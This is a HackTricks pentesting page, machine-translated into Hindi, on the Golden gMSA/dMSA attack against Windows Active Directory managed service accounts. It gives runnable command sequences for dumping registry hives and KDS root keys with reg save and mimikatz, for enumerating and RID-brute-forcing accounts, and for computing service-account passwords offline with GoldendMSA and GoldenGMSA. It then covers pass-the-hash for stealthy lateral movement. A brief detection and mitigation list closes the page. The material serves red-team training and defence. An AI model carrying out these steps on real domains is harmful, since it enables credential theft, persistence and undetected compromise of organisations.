Golden gMSA/dMSA Attack (Managed Service Account Passwords का ऑफ़लाइन व्युत्पत्ति)
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
अवलोकन
Windows Managed Service Accounts (MSA) विशेष प्रिंसिपल होते हैं जो सेवाओं को बिना पासवर्ड को मैन्युअल रूप से प्रबंधित किए चलाने के लिए डिज़ाइन किए गए हैं। इसके दो प्रमुख प्रकार हैं:
- gMSA – समूह Managed Service Account – इसे उन कई होस्ट पर उपयोग किया जा सकता है जो इसके
msDS-GroupMSAMembership
विशेषता में अधिकृत हैं। - dMSA – प्रतिनिधि Managed Service Account – gMSA का (पूर्वावलोकन) उत्तराधिकारी, जो समान क्रिप्टोग्राफी पर निर्भर करता है लेकिन अधिक बारीक प्रतिनिधित्व परिदृश्यों की अनुमति देता है।
दोनों प्रकारों के लिए पासवर्ड को प्रत्येक डोमेन कंट्रोलर (DC) पर सामान्य NT-हैश की तरह स्टोर नहीं किया जाता। इसके बजाय, प्रत्येक DC वर्तमान पासवर्ड को निम्नलिखित से ऑन-द-फ्लाई व्युत्पन्न कर सकता है:
- वन-वन KDS रूट कुंजी (
KRBTGT\KDS
) – यादृच्छिक रूप से उत्पन्न GUID-नामित रहस्य, जोCN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …
कंटेनर के तहत प्रत्येक DC पर पुनः उत्पन्न होता है। - लक्षित खाता SID।
- एक प्रति-खाता ManagedPasswordID (GUID) जो
msDS-ManagedPasswordId
विशेषता में पाया जाता है।
व्युत्पत्ति है: AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )
→ 240 बाइट का ब्लॉब अंततः base64-encoded होता है और msDS-ManagedPassword
विशेषता में स्टोर किया जाता है। सामान्य पासवर्ड उपयोग के दौरान कोई Kerberos ट्रैफ़िक या डोमेन इंटरैक्शन की आवश्यकता नहीं होती – एक सदस्य होस्ट पासवर्ड को स्थानीय रूप से व्युत्पन्न करता है जब तक कि उसे तीन इनपुट का ज्ञान हो।
Golden gMSA / Golden dMSA Attack
यदि एक हमलावर सभी तीन इनपुट ऑफ़लाइन प्राप्त कर सकता है, तो वे किसी भी gMSA/dMSA के लिए मान्य वर्तमान और भविष्य के पासवर्ड की गणना कर सकते हैं बिना फिर से DC को छुए, जिससे:
- LDAP पढ़ने का ऑडिटिंग
- पासवर्ड परिवर्तन अंतराल (वे पूर्व-गणना कर सकते हैं)
यह सेवा खातों के लिए Golden Ticket के समान है।
पूर्वापेक्षाएँ
- एक DC (या एंटरप्राइज एडमिन) का वन-स्तरीय समझौता, या वन में DCs में से एक पर
SYSTEM
पहुंच। - सेवा खातों को सूचीबद्ध करने की क्षमता (LDAP पढ़ें / RID ब्रूट-फोर्स)।
GoldenDMSA
या समकक्ष कोड चलाने के लिए .NET ≥ 4.7.2 x64 वर्कस्टेशन।
Golden gMSA / dMSA
चरण 1 – KDS रूट कुंजी निकालें
किसी भी DC से डंप करें (वॉल्यूम शैडो कॉपी / कच्चे SAM+SECURITY हाइव या दूरस्थ रहस्य):
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
RootKey
(GUID नाम) लेबल वाला base64 स्ट्रिंग बाद के चरणों में आवश्यक है।
चरण 2 – gMSA / dMSA ऑब्जेक्ट्स की गणना करें
कम से कम sAMAccountName
, objectSid
और msDS-ManagedPasswordId
प्राप्त करें:
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
GoldenDMSA
सहायक मोड लागू करता है:
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
Phase 3 – ManagedPasswordID का अनुमान लगाना / पता लगाना (जब गायब हो)
कुछ डिप्लॉयमेंट्स msDS-ManagedPasswordId
को ACL-संरक्षित पढ़ाई से हटा देते हैं।
क्योंकि GUID 128-बिट है, साधारण ब्रूटफोर्स असंभव है, लेकिन:
- पहले 32 बिट = Unix युग समय खाता निर्माण का (मिनटों का संकल्प)।
- इसके बाद 96 यादृच्छिक बिट्स।
इसलिए प्रत्येक खाते के लिए संकीर्ण शब्द सूची (± कुछ घंटे) यथार्थवादी है।
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
यह उपकरण उम्मीदवार पासवर्ड की गणना करता है और उनके base64 ब्लॉब की तुलना वास्तविक msDS-ManagedPassword
विशेषता से करता है - मिलान सही GUID को प्रकट करता है।
चरण 4 – ऑफ़लाइन पासवर्ड गणना और रूपांतरण
एक बार जब ManagedPasswordID ज्ञात हो जाता है, तो मान्य पासवर्ड एक कमांड की दूरी पर होता है:
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
The resulting hashes can be injected with mimikatz (sekurlsa::pth
) or Rubeus for Kerberos abuse, enabling stealth lateral movement and persistence.
Detection & Mitigation
- Tier-0 प्रशासकों के लिए DC बैकअप और रजिस्ट्री हाइव पढ़ने की क्षमताओं को सीमित करें।
- DCs पर Directory Services Restore Mode (DSRM) या Volume Shadow Copy निर्माण की निगरानी करें।
- सेवा खातों के
CN=Master Root Keys,…
औरuserAccountControl
ध्वजों के पढ़ने / परिवर्तनों का ऑडिट करें। - असामान्य base64 पासवर्ड लिखने या होस्टों के बीच अचानक सेवा पासवर्ड पुन: उपयोग का पता लगाएं।
- जहां Tier-0 अलगाव संभव नहीं है, उच्च-privilege gMSAs को नियमित यादृच्छिक रोटेशन के साथ क्लासिक सेवा खातों में परिवर्तित करने पर विचार करें।
Tooling
Semperis/GoldenDMSA
– इस पृष्ठ में उपयोग की गई संदर्भ कार्यान्वयन।Semperis/GoldenGMSA
– इस पृष्ठ में उपयोग की गई संदर्भ कार्यान्वयन।mimikatz
–lsadump::secrets
,sekurlsa::pth
,kerberos::ptt
।Rubeus
– व्युत्पन्न AES कुंजियों का उपयोग करके पास-दी-टिकट।
References
- Golden dMSA – authentication bypass for delegated Managed Service Accounts
- gMSA Active Directory Attacks Accounts
- Semperis/GoldenDMSA GitHub repository
- Improsec – Golden gMSA trust attack
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।